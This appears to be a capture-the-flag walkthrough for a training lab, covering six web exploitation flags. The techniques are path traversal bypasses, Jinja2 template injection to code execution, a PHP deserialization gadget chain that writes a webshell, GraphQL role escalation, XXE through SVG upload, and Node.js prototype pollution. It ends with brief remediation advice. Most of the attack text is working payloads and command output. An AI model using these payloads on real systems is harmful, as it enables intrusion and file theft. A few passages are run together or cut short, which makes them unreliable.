About Synacktiv
Synacktiv is one of France's premier offensive security firms, known for winning Pwn2Own and publishing cutting-edge vulnerability research. Their two Fortress versions span the full spectrum of web exploitation — from classic path traversal to modern Node.js prototype pollution and GraphQL abuse. Both versions share the flag prefix SYNACKTIV{...}.
- v1: Path traversal, SSTI (Jinja2 RCE), PHP deserialization gadget chains
- v2: GraphQL introspection abuse, XXE via SVG upload, Node.js prototype pollution RCE
- Recommended tools: Burp Suite, ysoserial-php, tplmap
Techniques Used
Version 1
v1 Flag 1 — Path Traversal (Double URL Encoding)
The file download endpoint filters ../ sequences but does not double-decode the URL. Encoding the slashes as %2f or the dot sequences as %252e%252e bypasses the filter.
# Direct traversal — blocked
$ curl "http://10.10.110.x/download?file=../../../../etc/passwd"
{"error":"Invalid path detected"}
# Single-encoded bypass
$ curl "http://10.10.110.x/download?file=..%2f..%2f..%2fetc%2fpasswd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
# Double-encoded bypass (for WAFs that decode once before checking)
$ curl "http://10.10.110.x/download?file=..%252f..%252f..%252fapp%252fconfig.py"
SECRET_KEY = "syn4ckt1v-s3cr3t-k3y"
FLAG = "SYNACKTIV{p4th_tr4v3rs4l_dbl_enc0d3d}"
# Other bypass variants to try
# ..%c0%af (overlong UTF-8 encoding of /)
# ..%255c (double-encoded backslash on Windows)
# ....// (filter removes ../ leaving ../)
$ curl "http://10.10.110.x/download?file=....//....//....//etc//passwd"
v1 Flag 2 — Server-Side Template Injection → RCE (Jinja2)
A report generation endpoint renders user input directly inside a Jinja2 template string. The {{7*7}} probe confirms the injection — escalate to os.popen for RCE.
# Confirm SSTI — mathematical probe
$ curl -X POST http://10.10.110.x/report/generate \
-d 'title={{7*7}}&content=test'
# Response includes "49" → Jinja2 confirmed
# Identify the template engine more precisely
$ curl -X POST http://10.10.110.x/report/generate \
-d 'title={{7*"7"}}&content=test'
# Jinja2 returns "7777777", Twig returns "49"
# RCE via config object traversal
$ curl -X POST http://10.10.110.x/report/generate \
-d 'title={{"".__class__.__mro__[1].__subclasses__()[396]("id",shell=True,stdout=-1).communicate()[0].decode()}}&content=x'
uid=1001(app) gid=1001(app) groups=1001(app)
# Shorter payload via config globals
$ curl -X POST http://10.10.110.x/report/generate \
-d 'title={{config.__class__.__init__.__globals__["os"].popen("cat /flag.txt").read()}}&content=x'
SYNACKTIV{sst1_j1nj42_rc3_t3mpl4t3_1nj3ct10n}
# Or use tplmap for automated detection and exploitation
$ python3 tplmap.py -u "http://10.10.110.x/report/generate" \
--data "title=*&content=test" --os-shell
config is blocked, use request.application.__globals__.__builtins__.__import__('os').popen(...) or the __subclasses__() chain to reach subprocess/Popen.v1 Flag 3 — PHP Insecure Deserialization (Gadget Chain)
The PHP application stores a serialized object in the session cookie. A Logger class with a __destruct method writes arbitrary data to an arbitrary file — craft a gadget chain to drop a webshell.
# Observe the session cookie — URL-decode it
$ curl -c /tmp/c.txt -X POST http://10.10.110.x/login -d 'user=guest&pass=guest'
$ cat /tmp/c.txt | grep session
O%3A4%3A%22User%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3B...%7D
# Decoded: O:4:"User":2:{s:4:"name";s:5:"guest";s:4:"role";s:5:"guest";}
# Build the gadget — Logger.__destruct() writes attacker-controlled data to a file
$ php -r '
class Logger {
public $filename;
public $data;
public function __destruct() {
file_put_contents($this->filename, $this->data);
}
}
$g = new Logger();
$g->filename = "/var/www/html/uploads/shell.php";
$g->data = "";
echo urlencode(serialize($g));
'
O%3A6%3A%22Logger%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A35%3A...%7D
# Send the malicious cookie — triggers __destruct on session end
$ curl -b "session=O%3A6%3A%22Logger%22..." http://10.10.110.x/profile
# Confirm webshell was written, execute commands
$ curl "http://10.10.110.x/uploads/shell.php?c=id"
uid=33(www-data) gid=33(www-data)
$ curl "http://10.10.110.x/uploads/shell.php?c=cat+/flag.txt"
SYNACKTIV{php_d3s3r14l1z4t10n_g4dg3t_ch41n}
Version 2
v2 Flag 1 — GraphQL Introspection → Hidden Mutation Abuse
The application exposes a GraphQL API with introspection enabled in production. Introspection reveals a hidden promoteUser mutation that any authenticated user can call to set their own role to admin.
# Run full introspection query to discover all types and fields
$ curl -s -X POST http://10.10.110.x/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { mutationType { fields { name args { name type { name ofType { name } } } } } } }"}' \
| python3 -m json.tool
# Output reveals hidden mutation:
# "name": "promoteUser"
# args: userId (Int), role (String)
# Use the mutation to escalate self to admin
$ curl -X POST http://10.10.110.x/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"mutation { promoteUser(userId: 42, role: \"admin\") { success message } }"}'
{"data":{"promoteUser":{"success":true,"message":"Role updated to admin"}}}
# Access admin-only query
$ curl -X POST http://10.10.110.x/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"query":"{ adminFlag }"}'
{"data":{"adminFlag":"SYNACKTIV{gr4phql_1ntr0sp3ct10n_m0d3_3n4bl3d}"}}
v2 Flag 2 — XXE via SVG File Upload
The avatar upload endpoint accepts SVG files and processes them through an XML parser. Inject an XXE payload into the SVG to read local files — the rendered output includes the file content.
# Create malicious SVG with XXE
$ cat evil.svg
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
<text x="10" y="30" font-size="12">&xxe;</text>
</svg>
# Upload as avatar
$ curl -X POST http://10.10.110.x/profile/avatar \
-H "Authorization: Bearer $USER_TOKEN" \
-F "[email protected];type=image/svg+xml"
{"success":true,"avatarUrl":"/uploads/user42/avatar.svg"}
# Retrieve processed SVG — XML entity was resolved and embedded
$ curl http://10.10.110.x/uploads/user42/avatar.svg
<text x="10" y="30">root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...</text>
# Read the flag
# Edit evil.svg: change SYSTEM "file:///etc/passwd" to "file:///flag.txt" and re-upload
$ sed -i 's|/etc/passwd|/flag.txt|' evil.svg
$ curl -X POST http://10.10.110.x/profile/avatar \
-H "Authorization: Bearer $USER_TOKEN" \
-F "[email protected];type=image/svg+xml"
$ curl http://10.10.110.x/uploads/user42/avatar.svg
<text>SYNACKTIV{xxe_svg_upl04d_l0c4l_f1l3_r34d}</text>
v2 Flag 3 — Prototype Pollution → Node.js RCE
The Node.js settings endpoint performs a recursive merge of user-supplied JSON into a plain object without sanitizing __proto__. Polluting Object.prototype cascades into a child_process.spawn call that reads our injected execArgv.
# Confirm prototype pollution
$ curl -X POST http://10.10.110.x/api/settings \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"__proto__":{"polluted":"pwned"}}'
$ curl http://10.10.110.x/api/settings/debug \
-H "Authorization: Bearer $USER_TOKEN"
{"polluted":"pwned"} # pollution confirmed — Object.prototype was modified
# Exploit: inject execArgv to run Node.js code on next subprocess spawn
$ curl -X POST http://10.10.110.x/api/settings \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{
"__proto__": {
"shell": "node",
"execArgv": ["--eval",
"require(\"child_process\").execSync(\"cat /flag.txt > /tmp/syn_flag\")"]
}
}'
# Trigger subprocess execution (export feature spawns child process)
$ curl -X POST http://10.10.110.x/api/export \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"format":"csv"}'
# Retrieve the flag
$ curl "http://10.10.110.x/api/settings/readfile?path=/tmp/syn_flag"
SYNACKTIV{pr0t0typ3_p0llut10n_n0d3js_rc3}
# Alternative: use constructor pollution
$ curl -X POST http://10.10.110.x/api/settings \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN" \
-d '{"constructor":{"prototype":{"shell":"node","execArgv":["--eval","..."]}}}'
Summary
| Version | # | Vulnerability | Technique |
|---|---|---|---|
| v1 | 1 | Path Traversal | Double URL encoding bypasses ../ filter |
| v1 | 2 | SSTI RCE | Jinja2 template injection → os.popen |
| v1 | 3 | PHP Deserialization | Logger gadget chain → __destruct → webshell |
| v2 | 1 | GraphQL Abuse | Introspection → hidden mutation → self-promote admin |
| v2 | 2 | XXE | SVG upload with external entity → file read |
| v2 | 3 | Prototype Pollution | __proto__ merge → execArgv injection → RCE |
Vulnerability Report
Description
User-controlled data was passed directly as the template source string to Jinja2's render_template_string(), enabling arbitrary Python code execution via template expression syntax.
Remediation
SandboxedEnvironment if dynamic templates are required. Consider Markdown-to-HTML rendering as a safer alternative for user-generated content.Description
A recursive JSON merge function allowed attackers to set properties on Object.prototype via __proto__ keys. The polluted prototype was inherited by a child_process.spawn call, enabling injection of execArgv for Node.js code execution.
Remediation
Object.create(null) for merge targets to strip prototype inheritance. Sanitize keys: block __proto__, constructor, and prototype before recursive merge. Use JSON.parse(JSON.stringify(input)) to strip prototype chain. Consider using lodash.merge v4.17.21+ which is patched against this attack.